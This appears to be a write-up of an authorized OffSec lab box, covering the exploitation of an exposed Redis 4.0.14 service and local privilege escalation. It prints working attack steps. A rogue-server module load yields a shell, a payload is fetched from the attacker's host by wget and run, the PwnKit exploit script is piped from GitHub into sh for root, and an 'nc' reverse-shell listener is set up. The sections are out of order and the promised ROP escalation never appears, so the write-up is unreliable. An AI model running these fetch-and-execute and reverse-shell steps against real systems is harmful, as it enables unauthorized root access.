Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Initial access to the target will be obtained through a Redis service. Privilege escalation will then be achieved by exploiting a binary on the target using Return Oriented Programming (ROP). This lab focuses on exploiting service vulnerabilities and advanced exploitation techniques.
Scenario
This lab demonstrates leveraging an insecure Redis service to gain initial shell access by deploying a rogue server exploit for remote code execution. Privilege escalation is achieved by exploiting a vulnerable redis-status binary using Return Oriented Programming (ROP) to bypass protections and execute arbitrary commands as root. This lab emphasizes exploiting service misconfigurations, binary reverse engineering, and advanced ROP chain development for privilege escalation.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate open services to identify the Redis server and its configuration.
- Deploy a rogue Redis server exploit to gain initial access and establish a reverse shell.
- Analyze the redis-status binary to identify a buffer overflow vulnerability.
- Develop a ROP chain to exploit the buffer overflow and execute commands as root.
- Leverage the ROP chain to gain root access and validate control over the target system.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
strings /usr/local/bin/redis-status
...
Authorization Key:
ClimbingParrotKickingDonkey321
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
## and then run !/bin/bash and we get root shellInitial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
──(kali㉿kali)-[~/offsec/blackgate]
# Map exposed services and versions on the target.
└─$ nmap -sS -Pn -T5 -p- 192.168.160.176
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-13 21:16 -0400
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 44.53% done; ETC: 21:16 (0:00:10 remaining)
Nmap scan report for 192.168.160.176
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
6379/tcp open redisThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/blackgate]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p 22,6379 192.168.160.176
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-13 21:17 -0400
Nmap scan report for 192.168.160.176
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
| 256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
|_ 256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
6379/tcp open redis Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- Using
https://github.com/jas502n/Redis-RCEwe get a shell but it is very unstable - trying this
https://github.com/n0b0dyCN/redis-rogue-server?source=post_page-----49920d4188de---------------------------------------, However this is also very unstable so we created msfvenom exploit and uploaded it quickly before it kicks us out
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/blackgate]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.160.176] 33696
# Inspect the directory for files relevant to the next step.
ls
exp_lin.so
netplan_gsmmd4ly
netplan_r5keftzm
pshell
snap.lxd
systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-logind.service-E3XCQi
systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-resolved.service-rc6Owj
systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-timesyncd.service-hwr48e
vmware-root_709-4248287236
# Run the helper or analysis script used in this lab step.
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 2: python: not found
/bin/bash -i
bash: cannot set terminal process group (875): Inappropriate ioctl for device
bash: no job control in this shell
# Confirm the identity of the current session.
prudence@blackgate:/tmp$ whoami
# Confirm the identity of the current session.
whoami
prudence
prudence@blackgate:/tmp$This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/blackgate]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.160.176] 45230
/bin/bash -i
bash: cannot set terminal process group (875): Inappropriate ioctl for device
bash: no job control in this shell
# Execute the next evidence-gathering step in the authorized lab.
prudence@blackgate:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
<.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
id
uid=0(root) gid=0(root) groups=0(root),1001(prudence)
# Read the file contents for useful configuration or credential data.
cat /root/proof.txt
aba171612649458dcc943875930231f7Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
└─$ ./redis-rogue-server.py --rhost 192.168.160.176 --rport 6379 --lhost 192.168.45.205 --exp=../Redis-RCE/exp_lin.so
/home/kali/offsec/blackgate/redis-rogue-server/./redis-rogue-server.py:11: SyntaxWarning: invalid escape sequence '\ '
| ___ \ | (_) | ___ \ / ___|
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 192.168.160.176:6379
[info] SERVER 192.168.45.205:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[\<<] ls
[>>] exp_lin.so
[>>] netplan_gsmmd4ly
[>>] netplan_r5keftzm
[>>] snap.lxd
[>>] systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-logind.service-E3XCQi
[>>] systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-resolved.service-rc6Owj
[>>] systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-timesyncd.service-hwr48e
[>>] vmware-root_709-4248287236
[\<<] pwd
[>>] /tmp
[\<<] wget http://192.168.45.205/pshell
[\<<] ls
[>>] exp_lin.so
[>>] netplan_gsmmd4ly
[>>] netplan_r5keftzm
[>>] pshell
[>>] snap.lxd
[>>] systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-logind.service-E3XCQi
[>>] systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-resolved.service-rc6Owj
[>>] systemd-private-ef3a04592d7c4db883e6d63804840ea2-systemd-timesyncd.service-hwr48e
[>>] vmware-root_709-4248287236
[\<<] chmod +x pshell
[\<<] ./pshellThis block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Identify commands that can run with elevated privileges.
prudence@blackgate:/tmp$ sudo -l
# Identify commands that can run with elevated privileges.
sudo -l
Matching Defaults entries for prudence on blackgate:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User prudence may run the following commands on blackgate:
(root) NOPASSWD: /usr/local/bin/redis-status- However, we were not able to run anything as it gave authrorization error
- inspecting the contents of
/usr/local/bin/redis-status
Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.